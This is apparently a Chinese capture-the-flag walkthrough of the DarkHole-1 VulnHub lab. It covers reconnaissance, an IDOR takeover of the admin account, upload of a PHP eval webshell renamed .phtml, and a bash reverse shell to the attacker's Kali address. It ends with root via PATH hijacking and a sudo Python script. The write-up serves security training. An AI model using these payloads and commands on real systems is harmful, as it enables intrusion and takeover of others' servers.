本文最后更新于 2024-07-26,文章内容可能已经过时。

DarkHole靶机渗透实战笔记

免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

实验环境:

kali(vmware) ip:192.168.91.129(NAT) ip:192.168.228.4(仅主机)

Vikings靶机(virtualBox)

kali配置了两张网卡,其中一张仅主机的网卡和靶机vitualbox相连。

virtualBox开启靶机:

image-20240717015338863

kali查看ip地址

image-20240708104331480

靶机下载地址

https://www.vulnhub.com/entry/darkhole-1,724/

(ps:在打靶的过程中,发现靶机的网络很不稳定,经常莫名其妙的断开,这个靶机应该会检测如果有暴力扫描或则破解,就会断开网络连接。解决办法只能重启靶机)

主机发现

nmap -p- 192.168.228.0/24

image-20240716103554650

发现靶机ip为192.168.228.16,开启了22,80端口

信息搜集

T4快速扫描靶机详细信息

nmap -T4 -A -sV -O 192.168.228.16

image-20240716104018634

80端口开启了Apache/2.4.41 (Ubuntu)服务,标题:DarkHole,浏览器尝试访问

image-20240716104219591

新区域,未来之城。F12查看源码后也没发现什么有用的,点击中间的View Details无反应,点击左上角的Login,跳转到新页面

image-20240716104536763

/login.php用户登录界面,不知道密码,先放着。

子域名爆破

使用子域名爆破工具爆破一下:

使用gobuster扫描
#使用gobuster扫描
gobuster dir -u 192.168.228.16 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .php,.html,.txt,.bak,.passwd

image-20240716105701800

访问扫描出来的页面

/config页面,有一个database.php文件,应该是连接数据库用的配置文件,没啥用

image-20240716105223080

/upload页面,就一张图,没啥可以利用的

image-20240716105039997

用nmap扫描下基本漏洞:

nmap --script=vuln -p 22,80 192.168.228.16

image-20240716110000415

没有可以利用的信息

指纹识别

whatweb是一款网页指纹识别工具,可以从网页内容与源代码中提取特征,判断网页后端技术。

whatweb -v http://192.168.228.16
-v 参数表示启用冗余模式,可以获取更详细的识别信息

image-20240717022705653

没有可以利用的信息,看来只能从登录界面下手了。

注册一个账号,登录尝试

(test,Mudi@138653)

image-20240717020304884

输入注册的账号和密码,点击登录跳转到新的页面,页面中两个功能,一个是更新基本信息,一个是更改密码的。

image-20240717020617146

更改url上的id后提示,不允许访问其他用户信息,id应该是用来区分用户的,这里不许访问,但是有,猜测应该是管理员账户

image-20240717020816847

漏洞利用

这里既然id来区分用户,说明应该有垂直越权漏洞,修改密码后抓包并且修改id=1,看看能不能获取到管理员账户

image-20240717023430128

显示修改成功了

ID=1是管理员账号,尝试用修改的密码登录

(admin,123456)

成功登录,进入管理员账户页面,发现有UPload上传的功能

image-20240717023545221

编写一句话木马,上传试试

<?php @eval($_POST['aaa']);?>

image-20240717023900127

上传php文件发现有限制,抓包后上传尝试其他类型文件,经测试php4、php5、PHP都能上传(只拦截了php),但是无法执行,只有phtml文件可以执行

抓包,修改后缀名为phtml,放包显示上传成功。

image-20240717024620081

蚁剑进行连接

(PS:这里我用的是vitualbox仅主机模式,在连接的时候,连接不上,需要另外开一台能连接上靶机ip的主机进行连接)

image-20240717040700901

简单搜索目录,在home目录下发现了password和user.txt,但是点开后都没有内容

发现一个名为toto的文件,点开查看发现是可执行文件

image-20240718103519832

利用查看查看一下phpinfo基本信息

image-20240718103935313

将蚁剑的shell反弹给kali

kali开启监听

nc -lnvp 1234

image-20240718104048612

蚁剑右键进入虚拟终端,输入如下payload

bash -c 'bash -i >& /dev/tcp/192.168.228.4/1234 0>&1'

#192.168.228.4是kali的ip地址

image-20240718104405487

kali成功获取到反弹回来的shell,发现不是root权限。需要进行提权

image-20240718104440385

提权

cd到home目录的john目录下。查看user.txt和password,发现没有权限,说明还是有东西的。

image-20240718104720189

查看一下刚才的toto文件,发现uid那里是john的。但是之前ls -al查看又属于root组,这里可以利用环境变量通过/tmp目录切换得到john用户的shell

image-20240718104947684

输入如下payload

echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
./toto

#解释如下
echo "/bin/bash" > /tmp/id : 在/tmp目录下创建一个文件id,内容是/bin/bash
chmod +x /tmp/id : 给id文件添加执行权限
export PATH=/tmp:$PATH : 将/tmp目录添加到PATH环境变量中

修改环境变量的攻击,这种通过修改PATH实现攻击的技术,我们称之为PATH变量攻击。攻击者通过控制某个目录或文件的名称,并修改PATH环境变量,使得该目录下的某文件在执行某些命令时被执行,达到攻击目的。

成功读取到user.txt和password文件的内容

user.txt:
DarkHole{You_Can_DO_It}

password:
root123

image-20240718105830200

Getshell

用获取到的pasword密码,进行ssh连接,登录john用户

image-20240718110216489

sudo -l搜索具有sudo权限的命令后发现一个在file.py的python脚本可以编辑执行root权限

image-20240718111034136

将获取到的shell命令加入到python脚本中执行,成功获取到root权限的shell

echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py

image-20240718111339253

image-20240718111603512

在root的根目录成功获取到root权限的flag:

DarkHole{You_Are_Legend}

总结

  • 基本信息搜集,其中使用whatweb网页指纹识别工具扫描网页指纹信息。
  • 利用垂直越权漏洞获取到页面后台管理员的操作页面
  • 在管理员后台页面上传php木马,更改后缀名为phtml成功连接蚁剑。反弹shell给kali
  • 在home/john目录下发现可执行文件toto,发现是root组的,联想到PATH攻击进行提权
  • 使用PATH攻击技术进行提权,攻击者通过控制某个目录或文件的名称,并修改PATH环境变量,使得该目录下的某文件在执行某些命令时被执行,达到攻击目的。
  • 最后编写执行root权限的python脚本获取到root权限的shell